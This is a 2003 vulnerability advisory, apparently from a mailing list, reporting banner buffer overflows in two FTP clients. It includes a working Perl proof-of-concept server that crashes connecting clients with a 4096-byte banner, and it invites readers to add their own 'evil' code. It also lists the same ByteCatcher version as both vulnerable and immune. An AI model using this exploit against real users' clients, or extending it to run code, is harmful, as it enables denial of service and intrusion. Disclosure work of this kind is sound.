Banner Buffer Overflows found in Multible FTP Clients

[matrix () infowarfare dk]

                   Banner Buffer Overflows found in 
                          Multible FTP Clients
                                
                                                 
                        Discovered by Dennis Rand
                            www.Infowarfare.dk
------------------------------------------------------------------------

SUMMARY
A client side vulnerability in the product allows remote servers to cause the 
client 
to crash by sending it a large banner.

32bit FTP Client has currently been downloaded 19,330 times from 
www.downloads.com
ByteCatcher FTP Client has currently been downloaded 169,912 times from 
www.downloads.com

DETAILS


Vulnerable systems:
  *  32bit FTP Client version p9.49.01 
     ByteCatcher FTP Client V1.04b     
 
Immune systems:
 *  32bit FTP p9.50.01
    ByteCatcher FTP Client V1.04b    

It's possible to crash theise FTP Clients by sending long (4096 bytes) FTP 
banner to it. 
The other more dangerous problem could be that this can be used to execute 
arbitrary code,
on the users machine.
The following transcript demonstrates a sample exploitation of the 
vulnerabilities, only to the point that we will kill the client, it is up to 
you to put in
the evil evil code =)


#!/usr/bin/perl
######################################################
#
# Affected systems:
# 32bit FTP Client version p9.49.01
# ByteCatcher FTP Client V1.04b 
# Possible many other clients, got this problem to
#
# http://www.infowarfare.dk
# 
# Dennis Rand - Matrix () infowarfare dk
#
# When FTP client connects to this server they will CRASH
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#
# 
#
# 
#######################################################
use IO::Socket;
$port = "21";
$data = "a";
$num = "4096";
$buf .= $data x $num;
$server = IO::Socket::INET->new(LocalPort => $port, Type => SOCK_STREAM, Reuse 
=> 1, Listen => 2)
or die "Couldn't create tcp-server.\n";
while ($client = $server->accept()) {
 print "Client connected.\n";
 print "Attacking...";
 print $client "$buf";
 print "OK\n";
 close($client);
}

Detection:
32bit FTP Client version p9.49.01 and ByteCatcher FTP Client V1.04b 
is vulnerable to the above-described attacks. 
Earlier versions may be susceptible as well. To determine if a specific 
implementation is vulnerable, experiment by following the above 
transcript. 

Vendor response:


Disclosure timeline:
04/01/2003 Found the Vulnerability.
04/01/2003 Author notified. 
01/02/2003 Responses received
04/02/2003 Public Disclosure.


ADDITIONAL INFORMATION
The vulnerability was discovered by <mailto:matrix () infowarfare dk> Dennis Rand

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, 
incidental, consequential, loss of business profits or special damages. 




-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/